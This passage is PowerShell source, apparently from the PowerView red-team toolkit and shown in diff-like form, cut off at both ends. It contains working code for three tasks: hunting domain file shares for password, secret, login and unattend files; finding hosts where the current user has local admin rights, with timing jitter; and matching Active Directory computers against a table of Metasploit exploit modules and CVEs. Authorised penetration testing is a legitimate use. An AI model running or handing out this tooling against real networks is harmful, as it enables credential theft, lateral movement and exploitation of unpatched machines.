.PARAMETER LastWriteTime - - Only return files with a LastWriteTime greater than this date value. - - .PARAMETER CreationTime - - Only return files with a CreationDate greater than this date value. - - .PARAMETER IncludeC - - Switch. Include any C$ shares in recursive searching (default ignore). - - .PARAMETER IncludeAdmin - - Switch. Include any ADMIN$ shares in recursive searching (default ignore). - - .PARAMETER ExcludeFolders - - Switch. Exclude folders from the search results. - - .PARAMETER ExcludeHidden - - Switch. Exclude hidden files and folders from the search results. - - .PARAMETER CheckWriteAccess - - Switch. Only returns files the current user has write access to. - - .PARAMETER OutFile - - Output results to a specified csv output file. - - .PARAMETER NoClobber - - Switch. Don't overwrite any existing output file. - - .PARAMETER NoPing - - Switch. Don't ping each host to ensure it's up before enumerating. - - .PARAMETER Delay - - Delay between enumerating hosts, defaults to 0 - - .PARAMETER Jitter - - Jitter for the host delay, defaults to +/- 0.3 - - .PARAMETER Domain - - Domain to query for machines, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER SearchForest - - Search all domains in the forest for target users instead of just - a single domain. - - .PARAMETER SearchSYSVOL - - Switch. Search for login scripts on the SYSVOL of the primary DCs for each specified domain. - - .PARAMETER Threads - - The maximum concurrent threads to execute. - - .PARAMETER UsePSDrive - - Switch. Mount target remote path with temporary PSDrives. - - .EXAMPLE - - PS C:\> Invoke-FileFinder - - Find readable files on the domain with 'pass', 'sensitive', - 'secret', 'admin', 'login', or 'unattend*.xml' in the name, - - .EXAMPLE - - PS C:\> Invoke-FileFinder -Domain testing - - Find readable files on the 'testing' domain with 'pass', 'sensitive', - 'secret', 'admin', 'login', or 'unattend*.xml' in the name, - - .EXAMPLE - - PS C:\> Invoke-FileFinder -IncludeC - - Find readable files on the domain with 'pass', 'sensitive', - 'secret', 'admin', 'login' or 'unattend*.xml' in the name, - including C$ shares. - - .EXAMPLE - - PS C:\> Invoke-FileFinder -ShareList shares.txt -Terms accounts,ssn -OutFile out.csv - - Enumerate a specified share list for files with 'accounts' or - 'ssn' in the name, and write everything to "out.csv" - - .LINK - http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ - -#> - - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Hosts')] - [String[]] - $ComputerName, - - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] - [String] - $ComputerFile, - - [String] - $ComputerFilter, - - [String] - $ComputerADSpath, - - [ValidateScript({Test-Path -Path $_ })] - [String] - $ShareList, - - [Switch] - $OfficeDocs, - - [Switch] - $FreshEXEs, - - [Alias('Terms')] - [String[]] - $SearchTerms, - - [ValidateScript({Test-Path -Path $_ })] - [String] - $TermList, - - [String] - $LastAccessTime, - - [String] - $LastWriteTime, - - [String] - $CreationTime, - - [Switch] - $IncludeC, - - [Switch] - $IncludeAdmin, - - [Switch] - $ExcludeFolders, - - [Switch] - $ExcludeHidden, - - [Switch] - $CheckWriteAccess, - - [String] - $OutFile, - - [Switch] - $NoClobber, - - [Switch] - $NoPing, - - [UInt32] - $Delay = 0, - - [Double] - $Jitter = .3, - - [String] - $Domain, - - [String] - $DomainController, - - [Switch] - $SearchForest, - - [Switch] - $SearchSYSVOL, - - [ValidateRange(1,100)] - [Int] - $Threads, - - [Switch] - $UsePSDrive - ) - - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - # random object for delay - $RandNo = New-Object System.Random - - Write-Verbose "[*] Running Invoke-FileFinder with delay of $Delay" - - $Shares = @() - - # figure out the shares we want to ignore - [String[]] $ExcludedShares = @("C$", "ADMIN$") - - # see if we're specifically including any of the normally excluded sets - if ($IncludeC) { - if ($IncludeAdmin) { - $ExcludedShares = @() - } - else { - $ExcludedShares = @("ADMIN$") - } - } - - if ($IncludeAdmin) { - if ($IncludeC) { - $ExcludedShares = @() - } - else { - $ExcludedShares = @("C$") - } - } - - # delete any existing output file if it already exists - if(!$NoClobber) { - if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile } - } - - # if there's a set of terms specified to search for - if ($TermList) { - ForEach ($Term in Get-Content -Path $TermList) { - if (($Term -ne $Null) -and ($Term.trim() -ne '')) { - $SearchTerms += $Term - } - } - } - - # if we're hard-passed a set of shares - if($ShareList) { - ForEach ($Item in Get-Content -Path $ShareList) { - if (($Item -ne $Null) -and ($Item.trim() -ne '')) { - # exclude any "[tab]- commants", i.e. the output from Invoke-ShareFinder - $Share = $Item.Split("`t")[0] - $Shares += $Share - } - } - } - else { - # if we're using a host file list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile - } - - if(!$ComputerName) { - - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) - } - - if($SearchSYSVOL) { - ForEach ($Domain in $TargetDomains) { - $DCSearchPath = "\\$Domain\SYSVOL\" - Write-Verbose "[*] Adding share search path $DCSearchPath" - $Shares += $DCSearchPath - } - if(!$SearchTerms) { - # search for interesting scripts on SYSVOL - $SearchTerms = @('.vbs', '.bat', '.ps1') - } - } - else { - [array]$ComputerName = @() - - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController - } - - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.Count) -eq 0) { - throw "No hosts found!" - } - } - } - } - - # script block that enumerates shares and files on a server - $HostEnumBlock = { - param($ComputerName, $Ping, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive) - - Write-Verbose "ComputerName: $ComputerName" - Write-Verbose "ExcludedShares: $ExcludedShares" - $SearchShares = @() - - if($ComputerName.StartsWith("\\")) { - # if a share is passed as the server - $SearchShares += $ComputerName - } - else { - # if we're enumerating the shares on the target server first - $Up = $True - if($Ping) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName - } - if($Up) { - # get the shares for this host and display what we find - $Shares = Get-NetShare -ComputerName $ComputerName - ForEach ($Share in $Shares) { - - $NetName = $Share.shi1_netname - $Path = '\\'+$ComputerName+'\'+$NetName - - # make sure we get a real share name back - if (($NetName) -and ($NetName.trim() -ne '')) { - - # skip this share if it's in the exclude list - if ($ExcludedShares -NotContains $NetName.ToUpper()) { - # check if the user has access to this path - try { - $Null = [IO.Directory]::GetFiles($Path) - $SearchShares += $Path - } - catch { - Write-Verbose "[!] No access to $Path" - } - } - } - } - } - } - - ForEach($Share in $SearchShares) { - $SearchArgs = @{ - 'Path' = $Share - 'SearchTerms' = $SearchTerms - 'OfficeDocs' = $OfficeDocs - 'FreshEXEs' = $FreshEXEs - 'LastAccessTime' = $LastAccessTime - 'LastWriteTime' = $LastWriteTime - 'CreationTime' = $CreationTime - 'ExcludeFolders' = $ExcludeFolders - 'ExcludeHidden' = $ExcludeHidden - 'CheckWriteAccess' = $CheckWriteAccess - 'OutFile' = $OutFile - 'UsePSDrive' = $UsePSDrive - } - - Find-InterestingFile @SearchArgs - } - } - } - - process { - - if($Threads) { - Write-Verbose "Using threading with threads = $Threads" - - # if we're using threading, kick off the script block with Invoke-ThreadedFunction - $ScriptParams = @{ - 'Ping' = $(-not $NoPing) - 'ExcludedShares' = $ExcludedShares - 'SearchTerms' = $SearchTerms - 'ExcludeFolders' = $ExcludeFolders - 'OfficeDocs' = $OfficeDocs - 'ExcludeHidden' = $ExcludeHidden - 'FreshEXEs' = $FreshEXEs - 'CheckWriteAccess' = $CheckWriteAccess - 'OutFile' = $OutFile - 'UsePSDrive' = $UsePSDrive - } - - # kick off the threaded script block + arguments - if($Shares) { - # pass the shares as the hosts so the threaded function code doesn't have to be hacked up - Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads - } - else { - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads - } - } - - else { - if($Shares){ - $ComputerName = $Shares - } - elseif(-not $NoPing -and ($ComputerName.count -gt 1)) { - # ping all hosts in parallel - $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} - $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 - } - - Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" - $Counter = 0 - - $ComputerName | Where-Object {$_} | ForEach-Object { - Write-Verbose "Computer: $_" - $Counter = $Counter + 1 - - # sleep for our semi-randomized interval - Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - - Write-Verbose "[*] Enumerating server $_ ($Counter of $($ComputerName.count))" - - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive - } - } - } -} - - -function Find-LocalAdminAccess { -<# - .SYNOPSIS - - Finds machines on the local domain where the current user has - local administrator access. Uses multithreading to - speed up enumeration. - - Author: @harmj0y - License: BSD 3-Clause - - .DESCRIPTION - - This function finds the local domain name for a host using Get-NetDomain, - queries the domain for all active machines with Get-NetComputer, then for - each server it checks if the current user has local administrator - access using Invoke-CheckLocalAdminAccess. - - Idea stolen from the local_admin_search_enum post module in - Metasploit written by: - 'Brandon McCann "zeknox" ' - 'Thomas McCarthy "smilingraccoon" ' - 'Royce Davis "r3dy" ' - - .PARAMETER ComputerName - - Host array to enumerate, passable on the pipeline. - - .PARAMETER ComputerFile - - File of hostnames/IPs to search. - - .PARAMETER ComputerFilter - - Host filter name to query AD for, wildcards accepted. - - .PARAMETER ComputerADSpath - - The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. - - .PARAMETER NoPing - - Switch. Don't ping each host to ensure it's up before enumerating. - - .PARAMETER Delay - - Delay between enumerating hosts, defaults to 0 - - .PARAMETER Jitter - - Jitter for the host delay, defaults to +/- 0.3 - - .PARAMETER Domain - - Domain to query for machines, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER SearchForest - - Switch. Search all domains in the forest for target users instead of just - a single domain. - - .PARAMETER Threads - - The maximum concurrent threads to execute. - - .EXAMPLE - - PS C:\> Find-LocalAdminAccess - - Find machines on the local domain where the current user has local - administrator access. - - .EXAMPLE - - PS C:\> Find-LocalAdminAccess -Threads 10 - - Multi-threaded access hunting, replaces Find-LocalAdminAccessThreaded. - - .EXAMPLE - - PS C:\> Find-LocalAdminAccess -Domain testing - - Find machines on the 'testing' domain where the current user has - local administrator access. - - .EXAMPLE - - PS C:\> Find-LocalAdminAccess -ComputerFile hosts.txt - - Find which machines in the host list the current user has local - administrator access. - - .LINK - - https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb - http://www.harmj0y.net/blog/penetesting/finding-local-admin-with-the-veil-framework/ -#> - - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Hosts')] - [String[]] - $ComputerName, - - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] - [String] - $ComputerFile, - - [String] - $ComputerFilter, - - [String] - $ComputerADSpath, - - [Switch] - $NoPing, - - [UInt32] - $Delay = 0, - - [Double] - $Jitter = .3, - - [String] - $Domain, - - [String] - $DomainController, - - [Switch] - $SearchForest, - - [ValidateRange(1,100)] - [Int] - $Threads - ) - - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - # random object for delay - $RandNo = New-Object System.Random - - Write-Verbose "[*] Running Find-LocalAdminAccess with delay of $Delay" - - # if we're using a host list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile - } - - if(!$ComputerName) { - [array]$ComputerName = @() - - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) - } - - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController - } - - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.Count) -eq 0) { - throw "No hosts found!" - } - } - - # script block that enumerates a server - $HostEnumBlock = { - param($ComputerName, $Ping) - - $Up = $True - if($Ping) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName - } - if($Up) { - # check if the current user has local admin access to this server - $Access = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName - if ($Access) { - $ComputerName - } - } - } - - } - - process { - - if($Threads) { - Write-Verbose "Using threading with threads = $Threads" - - # if we're using threading, kick off the script block with Invoke-ThreadedFunction - $ScriptParams = @{ - 'Ping' = $(-not $NoPing) - } - - # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads - } - - else { - if(-not $NoPing -and ($ComputerName.count -ne 1)) { - # ping all hosts in parallel - $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} - $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 - } - - Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" - $Counter = 0 - - ForEach ($Computer in $ComputerName) { - - $Counter = $Counter + 1 - - # sleep for our semi-randomized interval - Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - - Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False - } - } - } -} - - -function Get-ExploitableSystem { -<# - .Synopsis - - This module will query Active Directory for the hostname, OS version, and service pack level - for each computer account. That information is then cross-referenced against a list of common - Metasploit exploits that can be used during penetration testing. - - .DESCRIPTION - - This module will query Active Directory for the hostname, OS version, and service pack level - for each computer account. That information is then cross-referenced against a list of common - Metasploit exploits that can be used during penetration testing. The script filters out disabled - domain computers and provides the computer's last logon time to help determine if it's been - decommissioned. Also, since the script uses data tables to output affected systems the results - can be easily piped to other commands such as test-connection or a Export-Csv. - - .PARAMETER ComputerName - - Return computers with a specific name, wildcards accepted. - - .PARAMETER SPN - - Return computers with a specific service principal name, wildcards accepted. - - .PARAMETER OperatingSystem - - Return computers with a specific operating system, wildcards accepted. - - .PARAMETER ServicePack - - Return computers with a specific service pack, wildcards accepted. - - .PARAMETER Filter - - A customized ldap filter string to use, e.g. "(description=*admin*)" - - .PARAMETER Ping - - Switch. Ping each host to ensure it's up before enumerating. - - .PARAMETER Domain - - The domain to query for computers, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER ADSpath - - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. - - .PARAMETER Unconstrained - - Switch. Return computer objects that have unconstrained delegation. - - .PARAMETER PageSize - - The PageSize to set for the LDAP searcher object. - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. - - .EXAMPLE - - The example below shows the standard command usage. Disabled system are excluded by default, but - the "LastLgon" column can be used to determine which systems are live. Usually, if a system hasn't - logged on for two or more weeks it's been decommissioned. - PS C:\> Get-ExploitableSystem -DomainController 192.168.1.1 -Credential demo.com\user | Format-Table -AutoSize - [*] Grabbing computer accounts from Active Directory... - [*] Loading exploit list for critical missing patches... - [*] Checking computers for vulnerable OS and SP levels... - [+] Found 5 potentially vulnerable systems! - ComputerName OperatingSystem ServicePack LastLogon MsfModule CVE - ------------ --------------- ----------- --------- --------- --- - ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... - ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... - ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... - LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... - LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... - LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... - assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... - assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... - HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... - HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... - HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... - DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... - DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... - DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... - - .EXAMPLE - - PS C:\> Get-ExploitableSystem | Export-Csv c:\temp\output.csv -NoTypeInformation - - How to write the output to a csv file. - - .EXAMPLE - - PS C:\> Get-ExploitableSystem -Domain testlab.local -Ping - - Return a set of live hosts from the testlab.local domain - - .LINK - - http://www.netspi.com - https://github.com/nullbind/Powershellery/blob/master/Stable-ish/ADS/Get-ExploitableSystems.psm1 - - .NOTES - - Author: Scott Sutherland - 2015, NetSPI - Modifications to integrate into PowerView by @harmj0y - Version: Get-ExploitableSystem.psm1 v1.1 - Comments: The technique used to query LDAP was based on the "Get-AuditDSComputerAccount" - function found in Carols Perez's PoshSec-Mod project. The general idea is based off of - Will Schroeder's "Invoke-FindVulnSystems" function from the PowerView toolkit. -#> - [CmdletBinding()] - Param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [String] - $ComputerName = '*', - - [String] - $SPN, - - [String] - $OperatingSystem = '*', - - [String] - $ServicePack = '*', - - [String] - $Filter, - - [Switch] - $Ping, - - [String] - $Domain, - - [String] - $DomainController, - - [String] - $ADSpath, - - [Switch] - $Unconstrained, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, - - [Management.Automation.PSCredential] - $Credential - ) - - Write-Verbose "[*] Grabbing computer accounts from Active Directory..." - - # Create data table for hostnames, os, and service packs from LDAP - $TableAdsComputers = New-Object System.Data.DataTable - $Null = $TableAdsComputers.Columns.Add('Hostname') - $Null = $TableAdsComputers.Columns.Add('OperatingSystem') - $Null = $TableAdsComputers.Columns.Add('ServicePack') - $Null = $TableAdsComputers.Columns.Add('LastLogon') - - Get-NetComputer -FullData @PSBoundParameters | ForEach-Object { - - $CurrentHost = $_.dnshostname - $CurrentOs = $_.operatingsystem - $CurrentSp = $_.operatingsystemservicepack - $CurrentLast = $_.lastlogon - $CurrentUac = $_.useraccountcontrol - - $CurrentUacBin = [convert]::ToString($_.useraccountcontrol,2) - - # Check the 2nd to last value to determine if its disabled - $DisableOffset = $CurrentUacBin.Length - 2 - $CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1) - - # Add computer to list if it's enabled - if ($CurrentDisabled -eq 0) { - # Add domain computer to data table - $Null = $TableAdsComputers.Rows.Add($CurrentHost,$CurrentOS,$CurrentSP,$CurrentLast) - } - } - - # Status user - Write-Verbose "[*] Loading exploit list for critical missing patches..." - - # ---------------------------------------------------------------- - # Setup data table for list of msf exploits - # ---------------------------------------------------------------- - - # Create data table for list of patches levels with a MSF exploit - $TableExploits = New-Object System.Data.DataTable - $Null = $TableExploits.Columns.Add('OperatingSystem') - $Null = $TableExploits.Columns.Add('ServicePack') - $Null = $TableExploits.Columns.Add('MsfModule') - $Null = $TableExploits.Columns.Add('CVE') - - # Add exploits to data table - $Null = $TableExploits.Rows.Add("Windows 7","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") - $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") - $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") - $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") - $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") - $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") - $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") - $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") - $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") - $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") - $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") - $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") - $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") - $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") - $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") - $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") - $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") - $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") - $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") - $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") - $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Server 2008 R2","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") - $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") - $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") - $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows 